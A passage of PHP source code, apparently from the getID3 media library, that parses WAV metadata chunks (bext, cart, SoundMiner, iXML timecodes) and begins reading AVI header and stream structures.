					if (preg_match('#^([0-9]{4}).([0-9]{2}).([0-9]{2})$#', $thisfile_riff_WAVE_bext_0['origin_date'], $matches_bext_date)) {
						if (preg_match('#^([0-9]{2}).([0-9]{2}).([0-9]{2})$#', $thisfile_riff_WAVE_bext_0['origin_time'], $matches_bext_time)) {
							list($dummy, $bext_timestamp['year'], $bext_timestamp['month'],  $bext_timestamp['day'])    = $matches_bext_date;
							list($dummy, $bext_timestamp['hour'], $bext_timestamp['minute'], $bext_timestamp['second']) = $matches_bext_time;
							$thisfile_riff_WAVE_bext_0['origin_date_unix'] = gmmktime($bext_timestamp['hour'], $bext_timestamp['minute'], $bext_timestamp['second'], $bext_timestamp['month'], $bext_timestamp['day'], $bext_timestamp['year']);
						} else {
							$this->warning('RIFF.WAVE.BEXT.origin_time is invalid');
						}
					} else {
						$this->warning('RIFF.WAVE.BEXT.origin_date is invalid');
					}
					$thisfile_riff['comments']['author'][] = $thisfile_riff_WAVE_bext_0['author'];
					$thisfile_riff['comments']['title'][]  = $thisfile_riff_WAVE_bext_0['title'];
				}

				if (isset($thisfile_riff_WAVE['MEXT'][0]['data'])) {
					// shortcut
					$thisfile_riff_WAVE_MEXT_0 = &$thisfile_riff_WAVE['MEXT'][0];

					$thisfile_riff_WAVE_MEXT_0['raw']['sound_information']      = getid3_lib::LittleEndian2Int(substr($thisfile_riff_WAVE_MEXT_0['data'], 0, 2));
					$thisfile_riff_WAVE_MEXT_0['flags']['homogenous']           = (bool) ($thisfile_riff_WAVE_MEXT_0['raw']['sound_information'] & 0x0001);
					if ($thisfile_riff_WAVE_MEXT_0['flags']['homogenous']) {
						$thisfile_riff_WAVE_MEXT_0['flags']['padding']          = ($thisfile_riff_WAVE_MEXT_0['raw']['sound_information'] & 0x0002) ? false : true;
						$thisfile_riff_WAVE_MEXT_0['flags']['22_or_44']         =        (bool) ($thisfile_riff_WAVE_MEXT_0['raw']['sound_information'] & 0x0004);
						$thisfile_riff_WAVE_MEXT_0['flags']['free_format']      =        (bool) ($thisfile_riff_WAVE_MEXT_0['raw']['sound_information'] & 0x0008);

						$thisfile_riff_WAVE_MEXT_0['nominal_frame_size']        = getid3_lib::LittleEndian2Int(substr($thisfile_riff_WAVE_MEXT_0['data'], 2, 2));
					}
					$thisfile_riff_WAVE_MEXT_0['anciliary_data_length']         = getid3_lib::LittleEndian2Int(substr($thisfile_riff_WAVE_MEXT_0['data'], 6, 2));
					$thisfile_riff_WAVE_MEXT_0['raw']['anciliary_data_def']     = getid3_lib::LittleEndian2Int(substr($thisfile_riff_WAVE_MEXT_0['data'], 8, 2));
					$thisfile_riff_WAVE_MEXT_0['flags']['anciliary_data_left']  = (bool) ($thisfile_riff_WAVE_MEXT_0['raw']['anciliary_data_def'] & 0x0001);
					$thisfile_riff_WAVE_MEXT_0['flags']['anciliary_data_free']  = (bool) ($thisfile_riff_WAVE_MEXT_0['raw']['anciliary_data_def'] & 0x0002);
					$thisfile_riff_WAVE_MEXT_0['flags']['anciliary_data_right'] = (bool) ($thisfile_riff_WAVE_MEXT_0['raw']['anciliary_data_def'] & 0x0004);
				}

				if (isset($thisfile_riff_WAVE['cart'][0]['data'])) {
					// shortcut
					$thisfile_riff_WAVE_cart_0 = &$thisfile_riff_WAVE['cart'][0];

					$thisfile_riff_WAVE_cart_0['version']              =                              substr($thisfile_riff_WAVE_cart_0['data'],   0,  4);
					$thisfile_riff_WAVE_cart_0['title']                =                         trim(substr($thisfile_riff_WAVE_cart_0['data'],   4, 64));
					$thisfile_riff_WAVE_cart_0['artist']               =                         trim(substr($thisfile_riff_WAVE_cart_0['data'],  68, 64));
					$thisfile_riff_WAVE_cart_0['cut_id']               =                         trim(substr($thisfile_riff_WAVE_cart_0['data'], 132, 64));
					$thisfile_riff_WAVE_cart_0['client_id']            =                         trim(substr($thisfile_riff_WAVE_cart_0['data'], 196, 64));
					$thisfile_riff_WAVE_cart_0['category']             =                         trim(substr($thisfile_riff_WAVE_cart_0['data'], 260, 64));
					$thisfile_riff_WAVE_cart_0['classification']       =                         trim(substr($thisfile_riff_WAVE_cart_0['data'], 324, 64));
					$thisfile_riff_WAVE_cart_0['out_cue']              =                         trim(substr($thisfile_riff_WAVE_cart_0['data'], 388, 64));
					$thisfile_riff_WAVE_cart_0['start_date']           =                         trim(substr($thisfile_riff_WAVE_cart_0['data'], 452, 10));
					$thisfile_riff_WAVE_cart_0['start_time']           =                         trim(substr($thisfile_riff_WAVE_cart_0['data'], 462,  8));
					$thisfile_riff_WAVE_cart_0['end_date']             =                         trim(substr($thisfile_riff_WAVE_cart_0['data'], 470, 10));
					$thisfile_riff_WAVE_cart_0['end_time']             =                         trim(substr($thisfile_riff_WAVE_cart_0['data'], 480,  8));
					$thisfile_riff_WAVE_cart_0['producer_app_id']      =                         trim(substr($thisfile_riff_WAVE_cart_0['data'], 488, 64));
					$thisfile_riff_WAVE_cart_0['producer_app_version'] =                         trim(substr($thisfile_riff_WAVE_cart_0['data'], 552, 64));
					$thisfile_riff_WAVE_cart_0['user_defined_text']    =                         trim(substr($thisfile_riff_WAVE_cart_0['data'], 616, 64));
					$thisfile_riff_WAVE_cart_0['zero_db_reference']    = getid3_lib::LittleEndian2Int(substr($thisfile_riff_WAVE_cart_0['data'], 680,  4), true);
					for ($i = 0; $i < 8; $i++) {
						$thisfile_riff_WAVE_cart_0['post_time'][$i]['usage_fourcc'] =                  substr($thisfile_riff_WAVE_cart_0['data'], 684 + ($i * 8), 4);
						$thisfile_riff_WAVE_cart_0['post_time'][$i]['timer_value']  = getid3_lib::LittleEndian2Int(substr($thisfile_riff_WAVE_cart_0['data'], 684 + ($i * 8) + 4, 4));
					}
					$thisfile_riff_WAVE_cart_0['url']              =                 trim(substr($thisfile_riff_WAVE_cart_0['data'],  748, 1024));
					$thisfile_riff_WAVE_cart_0['tag_text']         = explode("\r\n", trim(substr($thisfile_riff_WAVE_cart_0['data'], 1772)));

					$thisfile_riff['comments']['artist'][] = $thisfile_riff_WAVE_cart_0['artist'];
					$thisfile_riff['comments']['title'][]  = $thisfile_riff_WAVE_cart_0['title'];
				}

				if (isset($thisfile_riff_WAVE['SNDM'][0]['data'])) {
					// SoundMiner metadata

					// shortcuts
					$thisfile_riff_WAVE_SNDM_0      = &$thisfile_riff_WAVE['SNDM'][0];
					$thisfile_riff_WAVE_SNDM_0_data = &$thisfile_riff_WAVE_SNDM_0['data'];
					$SNDM_startoffset = 0;
					$SNDM_endoffset   = $thisfile_riff_WAVE_SNDM_0['size'];

					while ($SNDM_startoffset < $SNDM_endoffset) {
						$SNDM_thisTagOffset = 0;
						$SNDM_thisTagSize      = getid3_lib::BigEndian2Int(substr($thisfile_riff_WAVE_SNDM_0_data, $SNDM_startoffset + $SNDM_thisTagOffset, 4));
						$SNDM_thisTagOffset += 4;
						$SNDM_thisTagKey       =                           substr($thisfile_riff_WAVE_SNDM_0_data, $SNDM_startoffset + $SNDM_thisTagOffset, 4);
						$SNDM_thisTagOffset += 4;
						$SNDM_thisTagDataSize  = getid3_lib::BigEndian2Int(substr($thisfile_riff_WAVE_SNDM_0_data, $SNDM_startoffset + $SNDM_thisTagOffset, 2));
						$SNDM_thisTagOffset += 2;
						$SNDM_thisTagDataFlags = getid3_lib::BigEndian2Int(substr($thisfile_riff_WAVE_SNDM_0_data, $SNDM_startoffset + $SNDM_thisTagOffset, 2));
						$SNDM_thisTagOffset += 2;
						$SNDM_thisTagDataText =                            substr($thisfile_riff_WAVE_SNDM_0_data, $SNDM_startoffset + $SNDM_thisTagOffset, $SNDM_thisTagDataSize);
						$SNDM_thisTagOffset += $SNDM_thisTagDataSize;

						if ($SNDM_thisTagSize != (4 + 4 + 2 + 2 + $SNDM_thisTagDataSize)) {
							$this->warning('RIFF.WAVE.SNDM.data contains tag not expected length (expected: '.$SNDM_thisTagSize.', found: '.(4 + 4 + 2 + 2 + $SNDM_thisTagDataSize).') at offset '.$SNDM_startoffset.' (file offset '.($thisfile_riff_WAVE_SNDM_0['offset'] + $SNDM_startoffset).')');
							break;
						} elseif ($SNDM_thisTagSize <= 0) {
							$this->warning('RIFF.WAVE.SNDM.data contains zero-size tag at offset '.$SNDM_startoffset.' (file offset '.($thisfile_riff_WAVE_SNDM_0['offset'] + $SNDM_startoffset).')');
							break;
						}
						$SNDM_startoffset += $SNDM_thisTagSize;

						$thisfile_riff_WAVE_SNDM_0['parsed_raw'][$SNDM_thisTagKey] = $SNDM_thisTagDataText;
						if ($parsedkey = self::waveSNDMtagLookup($SNDM_thisTagKey)) {
							$thisfile_riff_WAVE_SNDM_0['parsed'][$parsedkey] = $SNDM_thisTagDataText;
						} else {
							$this->warning('RIFF.WAVE.SNDM contains unknown tag "'.$SNDM_thisTagKey.'" at offset '.$SNDM_startoffset.' (file offset '.($thisfile_riff_WAVE_SNDM_0['offset'] + $SNDM_startoffset).')');
						}
					}

					$tagmapping = array(
						'tracktitle'=>'title',
						'category'  =>'genre',
						'cdtitle'   =>'album',
						'tracktitle'=>'title',
					);
					foreach ($tagmapping as $fromkey => $tokey) {
						if (isset($thisfile_riff_WAVE_SNDM_0['parsed'][$fromkey])) {
							$thisfile_riff['comments'][$tokey][] = $thisfile_riff_WAVE_SNDM_0['parsed'][$fromkey];
						}
					}
				}

				if (isset($thisfile_riff_WAVE['iXML'][0]['data'])) {
					// requires functions simplexml_load_string and get_object_vars
					if ($parsedXML = getid3_lib::XML2array($thisfile_riff_WAVE['iXML'][0]['data'])) {
						$thisfile_riff_WAVE['iXML'][0]['parsed'] = $parsedXML;
						if (isset($parsedXML['SPEED']['MASTER_SPEED'])) {
							@list($numerator, $denominator) = explode('/', $parsedXML['SPEED']['MASTER_SPEED']);
							$thisfile_riff_WAVE['iXML'][0]['master_speed'] = $numerator / ($denominator ? $denominator : 1000);
						}
						if (isset($parsedXML['SPEED']['TIMECODE_RATE'])) {
							@list($numerator, $denominator) = explode('/', $parsedXML['SPEED']['TIMECODE_RATE']);
							$thisfile_riff_WAVE['iXML'][0]['timecode_rate'] = $numerator / ($denominator ? $denominator : 1000);
						}
						if (isset($parsedXML['SPEED']['TIMESTAMP_SAMPLES_SINCE_MIDNIGHT_LO']) && !empty($parsedXML['SPEED']['TIMESTAMP_SAMPLE_RATE']) && !empty($thisfile_riff_WAVE['iXML'][0]['timecode_rate'])) {
							$samples_since_midnight = floatval(ltrim($parsedXML['SPEED']['TIMESTAMP_SAMPLES_SINCE_MIDNIGHT_HI'].$parsedXML['SPEED']['TIMESTAMP_SAMPLES_SINCE_MIDNIGHT_LO'], '0'));
							$timestamp_sample_rate = (is_array($parsedXML['SPEED']['TIMESTAMP_SAMPLE_RATE']) ? max($parsedXML['SPEED']['TIMESTAMP_SAMPLE_RATE']) : $parsedXML['SPEED']['TIMESTAMP_SAMPLE_RATE']); // XML could possibly contain more than one TIMESTAMP_SAMPLE_RATE tag, returning as array instead of integer [why? does it make sense? perhaps doesn't matter but getID3 needs to deal with it] - see https://github.com/JamesHeinrich/getID3/issues/105
							$thisfile_riff_WAVE['iXML'][0]['timecode_seconds'] = $samples_since_midnight / $timestamp_sample_rate;
							$h = floor( $thisfile_riff_WAVE['iXML'][0]['timecode_seconds']       / 3600);
							$m = floor(($thisfile_riff_WAVE['iXML'][0]['timecode_seconds'] - ($h * 3600))      / 60);
							$s = floor( $thisfile_riff_WAVE['iXML'][0]['timecode_seconds'] - ($h * 3600) - ($m * 60));
							$f =       ($thisfile_riff_WAVE['iXML'][0]['timecode_seconds'] - ($h * 3600) - ($m * 60) - $s) * $thisfile_riff_WAVE['iXML'][0]['timecode_rate'];
							$thisfile_riff_WAVE['iXML'][0]['timecode_string']       = sprintf('%02d:%02d:%02d:%05.2f', $h, $m, $s,       $f);
							$thisfile_riff_WAVE['iXML'][0]['timecode_string_round'] = sprintf('%02d:%02d:%02d:%02d',   $h, $m, $s, round($f));
							unset($samples_since_midnight, $timestamp_sample_rate, $h, $m, $s, $f);
						}
						unset($parsedXML);
					}
				}



				if (!isset($thisfile_audio['bitrate']) && isset($thisfile_riff_audio[$streamindex]['bitrate'])) {
					$thisfile_audio['bitrate'] = $thisfile_riff_audio[$streamindex]['bitrate'];
					$info['playtime_seconds'] = (float) ((($info['avdataend'] - $info['avdataoffset']) * 8) / $thisfile_audio['bitrate']);
				}

				if (!empty($info['wavpack'])) {
					$thisfile_audio_dataformat = 'wavpack';
					$thisfile_audio['bitrate_mode'] = 'vbr';
					$thisfile_audio['encoder']      = 'WavPack v'.$info['wavpack']['version'];

					// Reset to the way it was - RIFF parsing will have messed this up
					$info['avdataend']        = $Original['avdataend'];
					$thisfile_audio['bitrate'] = (($info['avdataend'] - $info['avdataoffset']) * 8) / $info['playtime_seconds'];

					$this->fseek($info['avdataoffset'] - 44);
					$RIFFdata = $this->fread(44);
					$OrignalRIFFheaderSize = getid3_lib::LittleEndian2Int(substr($RIFFdata,  4, 4)) +  8;
					$OrignalRIFFdataSize   = getid3_lib::LittleEndian2Int(substr($RIFFdata, 40, 4)) + 44;

					if ($OrignalRIFFheaderSize > $OrignalRIFFdataSize) {
						$info['avdataend'] -= ($OrignalRIFFheaderSize - $OrignalRIFFdataSize);
						$this->fseek($info['avdataend']);
						$RIFFdata .= $this->fread($OrignalRIFFheaderSize - $OrignalRIFFdataSize);
					}

					// move the data chunk after all other chunks (if any)
					// so that the RIFF parser doesn't see EOF when trying
					// to skip over the data chunk
					$RIFFdata = substr($RIFFdata, 0, 36).substr($RIFFdata, 44).substr($RIFFdata, 36, 8);
					$getid3_riff = new getid3_riff($this->getid3);
					$getid3_riff->ParseRIFFdata($RIFFdata);
					unset($getid3_riff);
				}

				if (isset($thisfile_riff_raw['fmt ']['wFormatTag'])) {
					switch ($thisfile_riff_raw['fmt ']['wFormatTag']) {
						case 0x0001: // PCM
							if (!empty($info['ac3'])) {
								// Dolby Digital WAV files masquerade as PCM-WAV, but they're not
								$thisfile_audio['wformattag']  = 0x2000;
								$thisfile_audio['codec']       = self::wFormatTagLookup($thisfile_audio['wformattag']);
								$thisfile_audio['lossless']    = false;
								$thisfile_audio['bitrate']     = $info['ac3']['bitrate'];
								$thisfile_audio['sample_rate'] = $info['ac3']['sample_rate'];
							}
							if (!empty($info['dts'])) {
								// Dolby DTS files masquerade as PCM-WAV, but they're not
								$thisfile_audio['wformattag']  = 0x2001;
								$thisfile_audio['codec']       = self::wFormatTagLookup($thisfile_audio['wformattag']);
								$thisfile_audio['lossless']    = false;
								$thisfile_audio['bitrate']     = $info['dts']['bitrate'];
								$thisfile_audio['sample_rate'] = $info['dts']['sample_rate'];
							}
							break;
						case 0x08AE: // ClearJump LiteWave
							$thisfile_audio['bitrate_mode'] = 'vbr';
							$thisfile_audio_dataformat   = 'litewave';

							//typedef struct tagSLwFormat {
							//  WORD    m_wCompFormat;     // low byte defines compression method, high byte is compression flags
							//  DWORD   m_dwScale;         // scale factor for lossy compression
							//  DWORD   m_dwBlockSize;     // number of samples in encoded blocks
							//  WORD    m_wQuality;        // alias for the scale factor
							//  WORD    m_wMarkDistance;   // distance between marks in bytes
							//  WORD    m_wReserved;
							//
							//  //following paramters are ignored if CF_FILESRC is not set
							//  DWORD   m_dwOrgSize;       // original file size in bytes
							//  WORD    m_bFactExists;     // indicates if 'fact' chunk exists in the original file
							//  DWORD   m_dwRiffChunkSize; // riff chunk size in the original file
							//
							//  PCMWAVEFORMAT m_OrgWf;     // original wave format
							// }SLwFormat, *PSLwFormat;

							// shortcut
							$thisfile_riff['litewave']['raw'] = array();
							$riff_litewave     = &$thisfile_riff['litewave'];
							$riff_litewave_raw = &$riff_litewave['raw'];

							$flags = array(
								'compression_method' => 1,
								'compression_flags'  => 1,
								'm_dwScale'          => 4,
								'm_dwBlockSize'      => 4,
								'm_wQuality'         => 2,
								'm_wMarkDistance'    => 2,
								'm_wReserved'        => 2,
								'm_dwOrgSize'        => 4,
								'm_bFactExists'      => 2,
								'm_dwRiffChunkSize'  => 4,
							);
							$litewave_offset = 18;
							foreach ($flags as $flag => $length) {
								$riff_litewave_raw[$flag] = getid3_lib::LittleEndian2Int(substr($thisfile_riff_WAVE['fmt '][0]['data'], $litewave_offset, $length));
								$litewave_offset += $length;
							}

							//$riff_litewave['quality_factor'] = intval(round((2000 - $riff_litewave_raw['m_dwScale']) / 20));
							$riff_litewave['quality_factor'] = $riff_litewave_raw['m_wQuality'];

							$riff_litewave['flags']['raw_source']    = ($riff_litewave_raw['compression_flags'] & 0x01) ? false : true;
							$riff_litewave['flags']['vbr_blocksize'] = ($riff_litewave_raw['compression_flags'] & 0x02) ? false : true;
							$riff_litewave['flags']['seekpoints']    =        (bool) ($riff_litewave_raw['compression_flags'] & 0x04);

							$thisfile_audio['lossless']        = (($riff_litewave_raw['m_wQuality'] == 100) ? true : false);
							$thisfile_audio['encoder_options'] = '-q'.$riff_litewave['quality_factor'];
							break;

						default:
							break;
					}
				}
				if ($info['avdataend'] > $info['filesize']) {
					switch (!empty($thisfile_audio_dataformat) ? $thisfile_audio_dataformat : '') {
						case 'wavpack': // WavPack
						case 'lpac':    // LPAC
						case 'ofr':     // OptimFROG
						case 'ofs':     // OptimFROG DualStream
							// lossless compressed audio formats that keep original RIFF headers - skip warning
							break;

						case 'litewave':
							if (($info['avdataend'] - $info['filesize']) == 1) {
								// LiteWave appears to incorrectly *not* pad actual output file
								// to nearest WORD boundary so may appear to be short by one
								// byte, in which case - skip warning
							} else {
								// Short by more than one byte, throw warning
								$this->warning('Probably truncated file - expecting '.$thisfile_riff[$RIFFsubtype]['data'][0]['size'].' bytes of data, only found '.($info['filesize'] - $info['avdataoffset']).' (short by '.($thisfile_riff[$RIFFsubtype]['data'][0]['size'] - ($info['filesize'] - $info['avdataoffset'])).' bytes)');
								$info['avdataend'] = $info['filesize'];
							}
							break;

						default:
							if ((($info['avdataend'] - $info['filesize']) == 1) && (($thisfile_riff[$RIFFsubtype]['data'][0]['size'] % 2) == 0) && ((($info['filesize'] - $info['avdataoffset']) % 2) == 1)) {
								// output file appears to be incorrectly *not* padded to nearest WORD boundary
								// Output less severe warning
								$this->warning('File should probably be padded to nearest WORD boundary, but it is not (expecting '.$thisfile_riff[$RIFFsubtype]['data'][0]['size'].' bytes of data, only found '.($info['filesize'] - $info['avdataoffset']).' therefore short by '.($thisfile_riff[$RIFFsubtype]['data'][0]['size'] - ($info['filesize'] - $info['avdataoffset'])).' bytes)');
								$info['avdataend'] = $info['filesize'];
							} else {
								// Short by more than one byte, throw warning
								$this->warning('Probably truncated file - expecting '.$thisfile_riff[$RIFFsubtype]['data'][0]['size'].' bytes of data, only found '.($info['filesize'] - $info['avdataoffset']).' (short by '.($thisfile_riff[$RIFFsubtype]['data'][0]['size'] - ($info['filesize'] - $info['avdataoffset'])).' bytes)');
								$info['avdataend'] = $info['filesize'];
							}
							break;
					}
				}
				if (!empty($info['mpeg']['audio']['LAME']['audio_bytes'])) {
					if ((($info['avdataend'] - $info['avdataoffset']) - $info['mpeg']['audio']['LAME']['audio_bytes']) == 1) {
						$info['avdataend']--;
						$this->warning('Extra null byte at end of MP3 data assumed to be RIFF padding and therefore ignored');
					}
				}
				if (isset($thisfile_audio_dataformat) && ($thisfile_audio_dataformat == 'ac3')) {
					unset($thisfile_audio['bits_per_sample']);
					if (!empty($info['ac3']['bitrate']) && ($info['ac3']['bitrate'] != $thisfile_audio['bitrate'])) {
						$thisfile_audio['bitrate'] = $info['ac3']['bitrate'];
					}
				}
				break;

			// http://en.wikipedia.org/wiki/Audio_Video_Interleave
			case 'AVI ':
				$info['fileformat'] = 'avi';
				$info['mime_type']  = 'video/avi';

				$thisfile_video['bitrate_mode'] = 'vbr'; // maybe not, but probably
				$thisfile_video['dataformat']   = 'avi';

				if (isset($thisfile_riff[$RIFFsubtype]['movi']['offset'])) {
					$info['avdataoffset'] = $thisfile_riff[$RIFFsubtype]['movi']['offset'] + 8;
					if (isset($thisfile_riff['AVIX'])) {
						$info['avdataend'] = $thisfile_riff['AVIX'][(count($thisfile_riff['AVIX']) - 1)]['chunks']['movi']['offset'] + $thisfile_riff['AVIX'][(count($thisfile_riff['AVIX']) - 1)]['chunks']['movi']['size'];
					} else {
						$info['avdataend'] = $thisfile_riff['AVI ']['movi']['offset'] + $thisfile_riff['AVI ']['movi']['size'];
					}
					if ($info['avdataend'] > $info['filesize']) {
						$this->warning('Probably truncated file - expecting '.($info['avdataend'] - $info['avdataoffset']).' bytes of data, only found '.($info['filesize'] - $info['avdataoffset']).' (short by '.($info['avdataend'] - $info['filesize']).' bytes)');
						$info['avdataend'] = $info['filesize'];
					}
				}

				if (isset($thisfile_riff['AVI ']['hdrl']['strl']['indx'])) {
					//$bIndexType = array(
					//	0x00 => 'AVI_INDEX_OF_INDEXES',
					//	0x01 => 'AVI_INDEX_OF_CHUNKS',
					//	0x80 => 'AVI_INDEX_IS_DATA',
					//);
					//$bIndexSubtype = array(
					//	0x01 => array(
					//		0x01 => 'AVI_INDEX_2FIELD',
					//	),
					//);
					foreach ($thisfile_riff['AVI ']['hdrl']['strl']['indx'] as $streamnumber => $steamdataarray) {
						$ahsisd = &$thisfile_riff['AVI ']['hdrl']['strl']['indx'][$streamnumber]['data'];

						$thisfile_riff_raw['indx'][$streamnumber]['wLongsPerEntry'] = $this->EitherEndian2Int(substr($ahsisd,  0, 2));
						$thisfile_riff_raw['indx'][$streamnumber]['bIndexSubType']  = $this->EitherEndian2Int(substr($ahsisd,  2, 1));
						$thisfile_riff_raw['indx'][$streamnumber]['bIndexType']     = $this->EitherEndian2Int(substr($ahsisd,  3, 1));
						$thisfile_riff_raw['indx'][$streamnumber]['nEntriesInUse']  = $this->EitherEndian2Int(substr($ahsisd,  4, 4));
						$thisfile_riff_raw['indx'][$streamnumber]['dwChunkId']      =                         substr($ahsisd,  8, 4);
						$thisfile_riff_raw['indx'][$streamnumber]['dwReserved']     = $this->EitherEndian2Int(substr($ahsisd, 12, 4));

						//$thisfile_riff_raw['indx'][$streamnumber]['bIndexType_name']    =    $bIndexType[$thisfile_riff_raw['indx'][$streamnumber]['bIndexType']];
						//$thisfile_riff_raw['indx'][$streamnumber]['bIndexSubType_name'] = $bIndexSubtype[$thisfile_riff_raw['indx'][$streamnumber]['bIndexType']][$thisfile_riff_raw['indx'][$streamnumber]['bIndexSubType']];

						unset($ahsisd);
					}
				}
				if (isset($thisfile_riff['AVI ']['hdrl']['avih'][$streamindex]['data'])) {
					$avihData = $thisfile_riff['AVI ']['hdrl']['avih'][$streamindex]['data'];

					// shortcut
					$thisfile_riff_raw['avih'] = array();
					$thisfile_riff_raw_avih = &$thisfile_riff_raw['avih'];

					$thisfile_riff_raw_avih['dwMicroSecPerFrame']    = $this->EitherEndian2Int(substr($avihData,  0, 4)); // frame display rate (or 0L)
					if ($thisfile_riff_raw_avih['dwMicroSecPerFrame'] == 0) {
						$this->error('Corrupt RIFF file: avih.dwMicroSecPerFrame == zero');
						return false;
					}

					$flags = array(
						'dwMaxBytesPerSec',       // max. transfer rate
						'dwPaddingGranularity',   // pad to multiples of this size; normally 2K.
						'dwFlags',                // the ever-present flags
						'dwTotalFrames',          // # frames in file
						'dwInitialFrames',        //
						'dwStreams',              //
						'dwSuggestedBufferSize',  //
						'dwWidth',                //
						'dwHeight',               //
						'dwScale',                //
						'dwRate',                 //
						'dwStart',                //
						'dwLength',               //
					);
					$avih_offset = 4;
					foreach ($flags as $flag) {
						$thisfile_riff_raw_avih[$flag] = $this->EitherEndian2Int(substr($avihData, $avih_offset, 4));
						$avih_offset += 4;
					}

					$flags = array(
						'hasindex'     => 0x00000010,
						'mustuseindex' => 0x00000020,
						'interleaved'  => 0x00000100,
						'trustcktype'  => 0x00000800,
						'capturedfile' => 0x00010000,
						'copyrighted'  => 0x00020010,
					);
                    foreach ($flags as $flag => $value) {
						$thisfile_riff_raw_avih['flags'][$flag] = (bool) ($thisfile_riff_raw_avih['dwFlags'] & $value);
					}

					// shortcut
					$thisfile_riff_video[$streamindex] = array();
					$thisfile_riff_video_current = &$thisfile_riff_video[$streamindex];

					if ($thisfile_riff_raw_avih['dwWidth'] > 0) {
						$thisfile_riff_video_current['frame_width'] = $thisfile_riff_raw_avih['dwWidth'];
						$thisfile_video['resolution_x']             = $thisfile_riff_video_current['frame_width'];
					}
					if ($thisfile_riff_raw_avih['dwHeight'] > 0) {
						$thisfile_riff_video_current['frame_height'] = $thisfile_riff_raw_avih['dwHeight'];
						$thisfile_video['resolution_y']              = $thisfile_riff_video_current['frame_height'];
					}
					if ($thisfile_riff_raw_avih['dwTotalFrames'] > 0) {
						$thisfile_riff_video_current['total_frames'] = $thisfile_riff_raw_avih['dwTotalFrames'];
						$thisfile_video['total_frames']              = $thisfile_riff_video_current['total_frames'];
					}

					$thisfile_riff_video_current['frame_rate'] = round(1000000 / $thisfile_riff_raw_avih['dwMicroSecPerFrame'], 3);
					$thisfile_video['frame_rate'] = $thisfile_riff_video_current['frame_rate'];
				}
				if (isset($thisfile_riff['AVI ']['hdrl']['strl']['strh'][0]['data'])) {
					if (is_array($thisfile_riff['AVI ']['hdrl']['strl']['strh'])) {
						for ($i = 0; $i < count($thisfile_riff['AVI ']['hdrl']['strl']['strh']); $i++) {
							if (isset($thisfile_riff['AVI ']['hdrl']['strl']['strh'][$i]['data'])) {
								$strhData = $thisfile_riff['AVI ']['hdrl']['strl']['strh'][$i]['data'];
								$strhfccType = substr($strhData,  0, 4);

								if (isset($thisfile_riff['AVI ']['hdrl']['strl']['strf'][$i]['data'])) {
									$strfData = $thisfile_riff['AVI ']['hdrl']['strl']['strf'][$i]['data'];

									// shortcut
									$thisfile_riff_raw_strf_strhfccType_streamindex = &$thisfile_riff_raw['strf'][$strhfccType][$streamindex];

									switch ($strhfccType) {
										case 'auds':
											$thisfile_audio['bitrate_mode'] = 'cbr';
											$thisfile_audio_dataformat      = 'wav';
											if (isset($thisfile_riff_audio) && is_array($thisfile_riff_audio)) {
												$streamindex = count($thisfile_riff_audio);
											}

											$thisfile_riff_audio[$streamindex] = self::parseWAVEFORMATex($strfData);
											$thisfile_audio['wformattag'] = $thisfile_riff_audio[$streamindex]['raw']['wFormatTag'];

											// shortcut
											$thisfile_audio['streams'][$streamindex] = $thisfile_riff_audio[$streamindex];
											$thisfile_audio_streams_currentstream = &$thisfile_audio['streams'][$streamindex];

											if ($thisfile_audio_streams_currentstream['bits_per_sample'] == 0) {
												unset($thisfile_audio_streams_currentstream['bits_per_sample']);
											}
											$thisfile_audio_streams_currentstream['wformattag'] = $thisfile_audio_streams_currentstream['raw']['wFormatTag'];
											unset($thisfile_audio_streams_currentstream['raw']);

											// shortcut
											$thisfile_riff_raw['strf'][$strhfccType][$streamindex] = $thisfile_riff_audio[$streamindex]['raw'];

											unset($thisfile_riff_audio[$streamindex]['raw']);
											$thisfile_audio = getid3_lib::array_merge_noclobber($thisfile_audio, $thisfile_riff_audio[$streamindex]);

											$thisfile_audio['lossless'] = false;
											switch ($thisfile_riff_raw_strf_strhfccType_streamindex['wFormatTag']) {
												case 0x0001:  // PCM
													$thisfile_audio_dataformat  = 'wav';
													$thisfile_audio['lossless'] = true;
													break;

												case 0x0050: // MPEG Layer 2 or Layer 1
													$thisfile_audio_dataformat = 'mp2'; // Assume Layer-2
													break;

												case 0x0055: // MPEG Layer 3
													$thisfile_audio_dataformat = 'mp3';
													break;

												case 0x00FF: // AAC
													$thisfile_audio_dataformat = 'aac';
													break;

												case 0x0161: // Windows Media v7 / v8 / v9
												case 0x0162: // Windows Media Professional v9
												case 0x0163: // Windows Media Lossess v9
													$thisfile_audio_dataformat = 'wma';
													break;

												case 0x2000: // AC-3
													$thisfile_audio_dataformat = 'ac3';
													break;

												case 0x2001: // DTS
													$thisfile_audio_dataformat = 'dts';
													break;

												default:
													$thisfile_audio_dataformat = 'wav';
													break;
											}
											$thisfile_audio_streams_currentstream['dataformat']   = $thisfile_audio_dataformat;
											$thisfile_audio_streams_currentstream['lossless']     = $thisfile_audio['lossless'];
											$thisfile_audio_streams_currentstream['bitrate_mode'] = $thisfile_audio['bitrate_mode'];
											break;


										case 'iavs':
										case 'vids':
											// shortcut
											$thisfile_riff_raw['strh'][$i]                  = array();
											$thisfile_riff_raw_strh_current                 = &$thisfile_riff_raw['strh'][$i];

											$thisfile_riff_raw_strh_current['fccType']               =                         substr($strhData,  0, 4);  // same as $strhfccType;
											$thisfile_riff_raw_strh_current['fccHandler']            =                         substr($strhData,  4, 4);
											$thisfile_riff_raw_strh_current['dwFlags']               = $this->EitherEndian2Int(substr($strhData,  8, 4)); // Contains AVITF_* flags
											$thisfile_riff_raw_strh_current['wPriority']             = $this->EitherEndian2Int(substr($strhData, 12, 2));
											$thisfile_riff_raw_strh_current['wLanguage']             = $this->EitherEndian2Int(substr($strhData, 14, 2));
											$thisfile_riff_raw_strh_current['dwInitialFrames']       = $this->EitherEndian2Int(substr($strhData, 16, 4));
											$thisfile_riff_raw_strh_current['dwScale']               = $this->EitherEndian2Int(substr($strhData, 20, 4));
											$thisfile_riff_raw_strh_current['dwRate']                = $this->EitherEndian2Int(substr($strhData, 24, 4));
											$thisfile_riff_raw_strh_current['dwStart']               = $this->EitherEndian2Int(substr($strhData, 28, 4));
											$thisfile_riff_raw_strh_current['dwLength']              = $this->EitherEndian2Int(substr($strhData, 32, 4));
											$thisfile_riff_raw_strh_current['dwSuggestedBufferSize'] = $this->EitherEndian2Int(substr($strhData, 36, 4));
											$thisfile_riff_raw_strh_current['dwQuality']             = $this->EitherEndian2Int(substr($strhData, 40, 4));
											$thisfile_riff_raw_strh_current['dwSampleSize']          = $this->EitherEndian2Int(substr($strhData, 44, 4));
